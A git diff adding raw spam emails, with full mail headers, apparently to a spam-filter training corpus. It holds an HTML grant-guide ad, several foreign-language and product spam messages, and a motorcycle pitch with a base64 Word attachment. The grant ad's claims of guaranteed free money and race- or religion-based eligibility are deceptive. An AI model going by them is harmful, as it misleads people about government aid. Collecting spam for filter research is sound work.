    Direct access to thousands +of government grants programs covering: small businesses, home improvement, +home buying and homeownership, land acquisition, site preparation for housing, +health, assistance and services for the unemployed, job training, federal +employment, education, and much much more
    + +
    How to develop and write +grant proposals that get results
    + +
    ...Plus much more
    +The Complete Guide to Government +Grants is so comprehensive, it provides you with direct access to practically +every source of FREE government grants money currently available. +
    If you're an American citizen +or resident, you are entitled to free grant money ranging from $500 to +$250,000 or more. If you are Black you have already qualified for 15 programs, +being Hispanic, you qualify for many programs. Being a Christian will get +you into 20 programs, there are also many other programs available for +different faiths, Jewish, Catholic. Not having any money, will get you +into over 30 programs, 550 programs if you are unemployed, or underemployed. +The list and sources are endless.
    + +
    You Are Eligible! This money +is Absolutely Free and will be yours to use for any worthwhile purpose.
    + +
    Did you know you can apply +for as many grants as you want?
    + +
    It's true, For instance, +you could get a $65,000 grant to begin a weight loss business, get $8,800 +in tuition to become a nurse or $35,000 to open up the day-care center, +you've always dreamed of owning. And then, go out and apply for a grant +to buy a home for you and your family. And once your new business starts +doing well you could go out and get another grant for expansion of your +business. The possibilities are endless.
    + + +
      +
    + + + +
    +

    +You Must Qualify +For At Least $25,000 In Free
    +Grants Money, Or Your Money Back!

    + +
    We are so confident in our +Grants Guide that If you have not received at least $25,000 in free grant +money, or, if you are unhappy with our e-book for any reason within the +next 12 months, Just send the e-book back and we will refund your entire +payment. NO QUESTIONS ASKED!!
    + +
    If you want to order, we +insist you do so entirely at our risk. That is why the E-book comes with +a... No Risk full year Money-Back Guarantee. There is absolutely +NO RISK on your part with this 365 day guarantee. What we mean is we want +you to order without feeling you might "get taken."
    + +
    Therefore, we want you to +order this material today... read it, use it... and if for any reason you +aren't completely satisfied, you not only can cancel, you should, +for an immediate refund of your purchase price. You simply can't lose.
    + +
    Free +Bonuses
    + +
    Just to "sweeten" the deal, +I'll include the following four valuable bonuses, that you can keep +as a gift, even if you later decide not to keep the Grants Guide!
    + +
    Free Bonus #1:
    + +
    A Fully Featured Grants +Writing Tutorial Software Package
    + +
    THIS INFO ALONE IS WORTH +THOUSANDS OF DOLLARS - I GUARANTEE YOU CAN PURCHASE A GRANTS CD OR INFO +ANYWHERE, AND YOU WILL NOT RECEIVE THIS DOWNLOADABLE SOFTWARE THAT ACTUALLY +SHOWS YOU HOW TO APPLY AND WHAT TO SAY, SO THAT YOU ARE ACCEPTED FOR A +GRANT !!!
    + +
    This interactive software +tool will walk you through the grant-writing process and will teach you +everything you need to know to write competitive grants proposals.
    + +
    The program includes:
    + +
      +
      detailed information and +tips on writing grants proposals;
      + +
      how to complete a grant +application package;
      + +
      examples of good, complete +grant packages;
      + +
      a glossary of grants terms;
      + +
      resources and contacts;
      + +
      a mock grants-writing activity +where you will be able to compare your results to a successful grant application
      + +
      plus much much more
      +
    + +
    Free Bonus #2:
    + +
    The Insider Information +Report: 61 Ways To Save Money
    + +
    This valuable special report +contains insider experts tips and techniques that will help you to save +thousands of Dollars. You'll discover little known secrets and tricks to +saving money on airline fares, car rental, new and used car buying, auto +leasing, gasoline, car repairs, auto insurance, life insurance, savings +and investment, credit cards, home equity loans, home purchase, major appliances, +home heating, telephone services, food purchase, prescription drugs and +more.
    + +
    Free Bonus #3:
    + +
    The Complete Guide To +Starting Your Own Business
    + +
    A +comprehensive manual that will give you all the guidelines and tools you +need to start and succeed in a business of your own, packed with guides, +forms, worksheets and checklists. You will be amazed at how simple these +strategies and concepts are and how easy it will be for you to apply them +to your own business idea. Hundreds were sold separately at $40 each... +you get it here for free.
    + +
    Here's +just a taste of what's in the guide:
    + +
    How +to determine the feasibility of your business idea. A complete fill in +the blanks template system that will help you predict problems before they +happen and keep you from losing your shirt on dog business ideas.
    + +
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    + +
    Discover the easiest, simplest +ways to find new products for your business that people are anxious to +buy.
    + +
    How +to make money with your new idea or invention. Secrets of making sure you +put cash in your pocket on your very first idea business venture.
    + +
    Complete, step by step instructions +on how to plan and start a new business. This is must-know must-do information; +ignore it and you stand a good chance to fail. You get specifically designed +instructions for each of the following: a service business, a retail store, +a home based business, a manufacturing company, and more.
    + +
    What nobody ever told you +about raising venture capital money. Insider secrets of attracting investors, +how to best construct your proposal, common mistakes and traps to avoid, +and much more.
    + +
    Checklist +for entering into a partnership. Keeps you from costly mistakes when forming +a partnership.
    + +
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    + +
    A complete step-by-step +organized program for cutting costs in your business. Clients of mine have +achieved an average of 28% to 35% cost reduction with this technique, and +you can too. Keep the money in your pocket with this one!
    + +
    What are the secrets behind +constructing a results driven marketing plan? I will lead you step by step +into developing a marketing plan that will drive your sales through the +roof.
    + +
    A complete step by step +guide guaranteed to help you increase your profits by up to 64%, I call +it "The Profit Planning Guide". This is a simple, practical, common sense +strategy, but amazingly enough, almost no one understands or uses it.
    + +
    Free Bonus #4:
    + +
    Guide To Home Business +Success
    + +
    This +is a fast, no-frills guide +to starting and succeeding in a home based business. Here's just a taste +of what's in the guide:
    + +
    Home +business: is it for you?
    + +
    What +are the secrets behind the people who have million dollar home based businesses? +you'll find a 24 tip list proven to turn your home business into a money +machine.
    + +
    Laws and regulations you +must be aware of to avoid legal errors.
    + +
    Planning +a home based business - Insider secrets and tips revealed for ensuring +your success in a home business.
    + +
    Fundamentals +of home business financial planning.
    + +
    Simple, +easy to copy ideas that will enhance your image - and the response you +get from your customers.
    + +
    Common +problems in starting and managing a home based  business - and how +to solve them once and for all.
    +Who I Am and Why I'm Qualified +to Give +
    You The Best Grants Advice +Available +
    I'm +the president of a leading Internet based information business. I'm also +the creator of "The Managing a Small Business CD-ROM" and the author of +five books.
    + +
    I've +been involved in obtaining grants and in small business for the past 23 +years of my life, as a business coach, a manager of a consulting firm, +a seminar leader and as the owner of five successful businesses.
    + +
    During +my career as a business coach and consultant I've helped dozens of business +owners obtain government grants, start their businesses, market, expand, +get out of troubles, sell their businesses and do practically every other +small business activity you can think of.
    + +
    The +Guide presented here contains every tip, trick, technique and strategy +I've learned during my 23 year career. You practically get my whole brain +in a form of an E-book.
    +How the Grants Guide is priced? +
    The Complete Guide To +Government Grants is normally priced at $50, but...
    + +
    ... as part of an Online +marketing test, if you purchase from this sale you pay only $19.99 (that's +75% off ...plus, you still get the FREE valuable bonuses.)
    + +
    If +you are serious about obtaining free grants money, you need this +guide. Don't delay a moment longer. Order Now !!! 
    +P.S. The Complete Guide To Government +Grants will make a huge difference. You risk nothing. The guide is not +the original price of $50, but only $19.99 (if you purchase through +this sale ) and comes with a one year money back guarantee. And you +get four valuable free bonuses which you may keep regardless. Don't delay +a moment longer, ORDER NOW !!!! +
      + +

    Shipping +and Handling is FREE since we will +email you all of this info via access to our secure website which contains +everything described above. +
    +

    +
    +

     Order +Now!!!

    + +
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Act now! + + + + + + --------------------------------------- + To unsubscribe, go to: + http://www.takemetothesavings.com/stopthemailplease/ + Please allow 48-72 hours for removal. + diff --git a/bayes/spamham/spam_2/01353.369f79f8f31f3b18bdb5d1006207b52e b/bayes/spamham/spam_2/01353.369f79f8f31f3b18bdb5d1006207b52e new file mode 100644 index 0000000..60a192e --- /dev/null +++ b/bayes/spamham/spam_2/01353.369f79f8f31f3b18bdb5d1006207b52e @@ -0,0 +1,129 @@ +From fork-admin@xent.com Thu Aug 8 16:00:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5328B44117 + for ; Thu, 8 Aug 2002 10:02:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 15:02:33 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g78E3O211261 for ; + Thu, 8 Aug 2002 15:03:28 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C98292940DD; Thu, 8 Aug 2002 06:59:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 1.1.1.1 (2-138.mganm700-1.telepar.net.br [200.181.209.138]) + by xent.com (Postfix) with SMTP id 6D55E2940C8 for ; + Thu, 8 Aug 2002 06:57:52 -0700 (PDT) +From: "_Ricardo_" +To: +Subject: _Melhore sua segurança_ +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Message-Id: <20020808135752.6D55E2940C8@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 8 Aug 2002 11:08:32 + + + + + + + + Ricardo + + +    +Olá +
        Trabalho +divulgando empresas sérias e competentes +
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      + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01354.942feb599d3e244a238c28c9028d97fa b/bayes/spamham/spam_2/01354.942feb599d3e244a238c28c9028d97fa new file mode 100644 index 0000000..6cd7e99 --- /dev/null +++ b/bayes/spamham/spam_2/01354.942feb599d3e244a238c28c9028d97fa @@ -0,0 +1,85 @@ +From blain8488@runbox.com Wed Aug 7 18:38:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 62545440C8 + for ; Wed, 7 Aug 2002 13:38:06 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 18:38:06 +0100 (IST) +Received: from proxy.parktone-ps.edu.vic.gov.au ([210.15.247.147]) + by webnote.net (8.9.3/8.9.3) with ESMTP id SAA25527; + Wed, 7 Aug 2002 18:35:42 +0100 +Received: from ananzi01.mx.smtphost.net ([195.96.153.74]) by proxy.parktone-ps.edu.vic.gov.au with Microsoft SMTPSVC(5.0.2195.2966); + Thu, 8 Aug 2002 03:34:42 +1000 +Message-ID: <00002a562274$00000ddd$00007bd6@scutum.wam.co.za> +To: +From: "Stephanie Orville" +Subject: Re: How are you?8456 +Date: Wed, 07 Aug 2002 10:47:13 -1900 +MIME-Version: 1.0 +X-OriginalArrivalTime: 07 Aug 2002 17:34:46.0421 (UTC) FILETIME=[B9177C50:01C23E38] +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + +
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All rights reserved. +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01357.531b966b657f95f04a9037ea7100aa9f b/bayes/spamham/spam_2/01357.531b966b657f95f04a9037ea7100aa9f new file mode 100644 index 0000000..4314930 --- /dev/null +++ b/bayes/spamham/spam_2/01357.531b966b657f95f04a9037ea7100aa9f @@ -0,0 +1,39 @@ +From alexa122_bwer@msg.com Thu Aug 8 11:16:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9F6B8440F1 + for ; Thu, 8 Aug 2002 06:14:51 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 11:14:51 +0100 (IST) +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) + by webnote.net (8.9.3/8.9.3) with ESMTP id IAA28529 + for ; Thu, 8 Aug 2002 08:55:11 +0100 +Received: from msg.com (unknown [202.125.153.84]) + by smtp.easydns.com (Postfix) with SMTP id EEDC52C6E4 + for ; Thu, 8 Aug 2002 03:54:54 -0400 (EDT) +Cc: +From: "Alex" +Subject: Amateur teens go bad +Message-Id: <20020808075454.EEDC52C6E4@smtp.easydns.com> +Date: Thu, 8 Aug 2002 03:54:54 -0400 (EDT) +Content-Type: text/html; charset="iso-8859-1" + + + +

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    + + + diff --git a/bayes/spamham/spam_2/01358.eb6c715f631ee3d22b135adb4dc4e67d b/bayes/spamham/spam_2/01358.eb6c715f631ee3d22b135adb4dc4e67d new file mode 100644 index 0000000..96e5b63 --- /dev/null +++ b/bayes/spamham/spam_2/01358.eb6c715f631ee3d22b135adb4dc4e67d @@ -0,0 +1,53 @@ +From zarco9@hotmail.com Thu Aug 8 11:14:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4D617440E5 + for ; Thu, 8 Aug 2002 06:14:24 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 11:14:24 +0100 (IST) +Received: from relay10.smtp.psi.net (relay10.smtp.psi.net [38.8.34.2]) + by webnote.net (8.9.3/8.9.3) with ESMTP id WAA26361 + for ; Wed, 7 Aug 2002 22:32:44 +0100 +From: zarco9@hotmail.com +Received: from trinweb01.trinityweb.com ([38.254.252.17]) + by relay10.smtp.psi.net with esmtp (Exim 3.13 #3) + id 17cYMR-00040v-00; Wed, 07 Aug 2002 17:28:56 -0400 +Received: from beneatheindorsec.com (206-169-196-2.gen.twtelecom.net [206.169.196.2]) by trinweb01.TRINITYWEB.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) + id QN0SSJGM; Wed, 7 Aug 2002 14:33:04 -0700 +Message-ID: <000050b511f3$0000614b$00002561@kinekom.com> +To: , , + <4264015@mcimail.com>, , , + +Cc: , , + , , , + , +Subject: Norton Systemworks 2002 Pro Edition 12399 +Date: Wed, 07 Aug 2002 16:28:12 -1700 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +


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    + + + + diff --git a/bayes/spamham/spam_2/01359.deafa1d42658c6624c6809a446b7f369 b/bayes/spamham/spam_2/01359.deafa1d42658c6624c6809a446b7f369 new file mode 100644 index 0000000..4463a7d --- /dev/null +++ b/bayes/spamham/spam_2/01359.deafa1d42658c6624c6809a446b7f369 @@ -0,0 +1,1214 @@ +From fork-admin@xent.com Thu Aug 8 14:13:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 893954413E + for ; Thu, 8 Aug 2002 08:32:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:56 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CFe201870 for + ; Thu, 8 Aug 2002 13:15:40 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id MAA29742 for ; Thu, 8 Aug 2002 12:07:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id F24DA29409D; Thu, 8 Aug 2002 03:52:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 64.51.39.08 (unknown [202.98.63.126]) by xent.com (Postfix) + with SMTP id A7B06294098 for ; Thu, 8 Aug 2002 03:50:46 + -0700 (PDT) +From: "Ms.Huang (Sales Manager)" +To: fork@spamassassin.taint.org +Reply-To: motorcycle@qinghecq.com +Subject: China Motorcycle +MIME-Version: 1.0 +Content-Type: multipart/mixed; boundary="f09e4063-d1b9-43d5-bd3b-7955a9315611" +Message-Id: <20020808105046.A7B06294098@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 08 Aug 2002 18:51:44 +0800 + + +This is a multi-part message in MIME format +--f09e4063-d1b9-43d5-bd3b-7955a9315611 +Content-Type: text/plain; charset=gb2312 +Content-Transfer-Encoding: quoted-printable + +Dear Sir +We fetch your name by internet. +This month, our group had set up one JV with Korean Hyosung Motors & = +Machinery Inc +Our company produces and distributes various whole motorcycle units = +(displacement ranging from 48cc to 250cc, +including two-wheel motorcycle and three-wheel motorcycle, for carrying goods = +and taking passengers) and + accessories especially main accessories of motorcycle, such as engine = +(including crankcase, crankshaft + connecting rod, carburetor, engine cylinder head, cylinder body, clutch, = +piston and piston rings), + frame, fuel tank, shock absorber, disk brake, panels, wheel hub and so on. +So far, they have sold very well to markets in many countries and areas = +around Asia, Africa and Latin America, + meanwhile, we establish service spots and sub-factories around there. We = +would now like to market the + motorcycles and spare parts directly in your country. +We would appreciate your advise on whether your company would be interested = +in +acting as a distributor in the your country or if you have any = +recommendations on any other + your country=A1=AFs associates who might also be interested. +For further information about our products, kindly please visit our web page: = + +http://www.cq114.com.cn/English/production/jiaotongys/moto/motozhanshi/YX/YX5= +0QT-2.htm +We look forward to your reply. +Yours sincerely, +Ms.Huang (Sales Manager) +Fax: 86-23-67732102 +E-mail: motorcycle@qinghecq.com + +--f09e4063-d1b9-43d5-bd3b-7955a9315611 +Content-Type: application/octet-stream; charset=iso-8859-1; file=Yinxiang Motorcycles.doc +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename=Yinxiang Motorcycles.doc + +0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAeAAAAAAAAAAA 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+//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////8BAP7/AwoAAP// +//8GCQIAAAAAAMAAAAAAAABGFAAAAE1pY3Jvc29mdCBXb3JkIM7EtbUACgAAAE1TV29yZERvYwAQ +AAAAV29yZC5Eb2N1bWVudC44APQ5snEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + +--f09e4063-d1b9-43d5-bd3b-7955a9315611-- + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01360.5bf908ff3e674f31061afcb8a6c17a8d b/bayes/spamham/spam_2/01360.5bf908ff3e674f31061afcb8a6c17a8d new file mode 100644 index 0000000..36eba3c --- /dev/null +++ b/bayes/spamham/spam_2/01360.5bf908ff3e674f31061afcb8a6c17a8d @@ -0,0 +1,414 @@ +From eml7@hotmail.com Thu Aug 8 19:09:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by 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    + + + + + + +-----=c_8xk3gaozmp2il98g4_xq03eowmlk-- + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01364.b89de202e8d843d54ab7988af8599571 b/bayes/spamham/spam_2/01364.b89de202e8d843d54ab7988af8599571 new file mode 100644 index 0000000..847593e --- /dev/null +++ b/bayes/spamham/spam_2/01364.b89de202e8d843d54ab7988af8599571 @@ -0,0 +1,181 @@ +From fork-admin@xent.com Thu Aug 8 18:04:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7E791440CF + for ; Thu, 8 Aug 2002 13:04:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 18:04:01 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g78H16220953 for ; + Thu, 8 Aug 2002 18:01:12 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C36532940C6; Thu, 8 Aug 2002 09:53:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mailpound.com (unknown [151.204.51.95]) by xent.com + (Postfix) with SMTP id 3106C2940BB for ; Thu, + 8 Aug 2002 09:52:37 -0700 (PDT) +From: "Bob Maier" +To: "JOSEPH ABITANTE" +Subject: Selling Travel in Today's Economy +MIME-Version: 1.0 +Message-Id: <20020808165237.3106C2940BB@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 8 Aug 2002 12:16:05 -0400 +Content-Type: text/html; charset="ISO-8859-1" +Content-Transfer-Encoding: 8bit + + + + + + + +Selling Travel in Today's Economy + + + + +

    + Good morning! +
    +
    +   +
    +
    + Since it may have been awhile since you visited us +at www.mailpound.com I + wanted to update you on what is happening. When we launched the MailPound + almost two years ago, our focus was on saving "Time, Toner and + Trees" by providing an alternative for organizing the huge + number of faxes suppliers sent travel agents each week. Our most popular + feature was the FAM section, followed by the Weekly Sweepstakes. +
    +
    +   +
    +
    + But that has changed. +
    +
    +   +
    +
    + Like many involved in selling retail travel, we have been + striving to find ways to succeed in a challenging environment. Additional + commission cuts, the aftermath of 9/11, and the drop in the stock +market, has + had a cumulative effect on all of us. To survive, to succeed, we know +that we + will need to work harder, work smarter, and work together. We have +gotten a + tremendous amount of support from travel agents and this has translated +into + the ability to get more support for travel agents from suppliers. +
    +
    +   +
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    + Our focus has expanded from providing a resource for +searching supplier + Special Offers to providing a suite of tools and services that can create + sales and raise commissions. Almost all of these services are supplier + supported and FREE to travel agents. +
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    • Actively seek out the best e-commerce +values +
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    • Host personal web sites for travel agents with +MailPound + content* +
    • Offer higher commissions through +consolidation +
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    • Provide new technology for fast and easy online + bookings +
    • Provide your clients with the ability to book through +you, + online
      • +
    +
    + * MPdirect services are offered for +$9.95/month +
    +
    +   +
    +
    + We invite you to visit us soon at www.mailpound.com or + check out the links shown below. See how the FREE services we offer the +travel + agent community can help you succeed. The Summer is almost over, now is +the + time to prepare for the upcoming selling season. +
    +
    +   +
    + +
    +
    + Sincerely, +
    +
    +   +
    +
    + Bob Maier, President
    + SMART Travel Technologies, Inc.     +
    +
    + rmaier@smart2000.com
    + 856-983-6100  Ext. 101
    + 12 East Stow Road, Suite 210
    + Marlton, New Jersey 08053     +
    +

     

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    <= +/div> + + + + diff --git a/bayes/spamham/spam_2/01374.b902d53d7f737be700d6de60a42122d9 b/bayes/spamham/spam_2/01374.b902d53d7f737be700d6de60a42122d9 new file mode 100644 index 0000000..3f6ae6d --- /dev/null +++ b/bayes/spamham/spam_2/01374.b902d53d7f737be700d6de60a42122d9 @@ -0,0 +1,97 @@ +From webmake-talk-admin@lists.sourceforge.net Thu Nov 28 16:09:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id EFC9D16F18 + for ; Thu, 28 Nov 2002 16:09:42 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 28 Nov 2002 16:09:43 +0000 (GMT) +Received: from sc8-sf-list2.sourceforge.net (example.sourceforge.net + [66.35.250.206]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + gASEAQW10714 for ; Thu, 28 Nov 2002 14:10:26 GMT +Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18HPMm-0005E1-00; Thu, + 28 Nov 2002 06:10:08 -0800 +Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by + sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 18HPMM-0004Mo-00; Thu, 28 Nov 2002 + 06:09:42 -0800 +Received: from [217.131.253.208] (port=59371 helo=ommo.com) by + panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id + 18HPMG-0001Rj-00; Thu, 28 Nov 2002 06:09:37 -0800 +From: "Astarte Turizm" +Reply-To: info@astartetravel.com +Cc: tramp-devel@example.sourceforge.net, + tramp-devel-admin@lists.sourceforge.net, + twilight-announce@lists.sourceforge.net, + twilight-devel@lists.sourceforge.net, + unicon-group@lists.sourceforge.net, + unicon-group-admin@lists.sourceforge.net, + vtcl-user@lists.sourceforge.net, webmake-talk@lists.sourceforge.net, + webware-devel@lists.sourceforge.net, + webware-discuss@lists.sourceforge.net +X-Mailer: Microsoft Outlook Express 5.00.2919.7000 +MIME-Version: 1.0 +Message-Id: +Content-Type: text/plain; charset="iso-8859-3" +Subject: [WM] (no subject) +Sender: webmake-talk-admin@example.sourceforge.net +Errors-To: webmake-talk-admin@example.sourceforge.net +X-Beenthere: webmake-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of WebMake. +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 31 Oct 2002 16:01:32 +0200 +Date: Thu, 31 Oct 2002 16:01:32 +0200 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id gASEAQW10714 + +Dear our Guests, + +EXPLORE TURKEY WITH ASTARTETOURS!! + +Hotel Reservations: +You will find more than 200 hotels all over Turkey, which have been carefully selected. +Through our reservation system we are able to book more than 1.000 hotels arround Europe. + +Tours +Hosted Programs, sightseeing tours, escorted tours or cruise programs. +We have tours on set dates each year or we can organize special itineraries for the independant traveller or small groups!! + + +Rent-A-Car: +Travelling on your own pace in Turkey! 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Power & Color in a compact size! +http://ads.sourceforge.net/cgi-bin/redirect.pl?palm0002en +_______________________________________________ +webmake-talk mailing list +webmake-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/webmake-talk + + diff --git a/bayes/spamham/spam_2/01375.b1a9c15e903adbc27bd2b5c033e1d29c b/bayes/spamham/spam_2/01375.b1a9c15e903adbc27bd2b5c033e1d29c new file mode 100644 index 0000000..029364b --- /dev/null +++ b/bayes/spamham/spam_2/01375.b1a9c15e903adbc27bd2b5c033e1d29c @@ -0,0 +1,82 @@ +From Sidney22@webmail.co.za Wed Dec 4 11:58:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id E3DCA16F21 + for ; Wed, 4 Dec 2002 11:57:18 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 04 Dec 2002 11:57:18 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB43eQ825135 for + ; Wed, 4 Dec 2002 03:40:26 GMT +Received: from wwxw ([202.99.212.171]) by webnote.net (8.9.3/8.9.3) with + ESMTP id DAA19892 for ; Wed, 4 Dec 2002 03:41:54 GMT +Received: from mx1.mailbox.co.za [65.147.20.174] by wwxw (SMTPD32-7.05) id + AD1214C00CA; Tue, 26 Nov 2002 00:17:22 +0800 +Message-Id: <0000632d0ef2$00004330$000030d6@mx1.mailbox.co.za> +To: +From: "Kirk Umfleet" +Subject: Did you complete this? +Date: Mon, 25 Nov 2002 08:22:41 -0800 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +Reply-To: Sidney22@webmail.co.za + + + + + + + +New Page 1 + + + + +

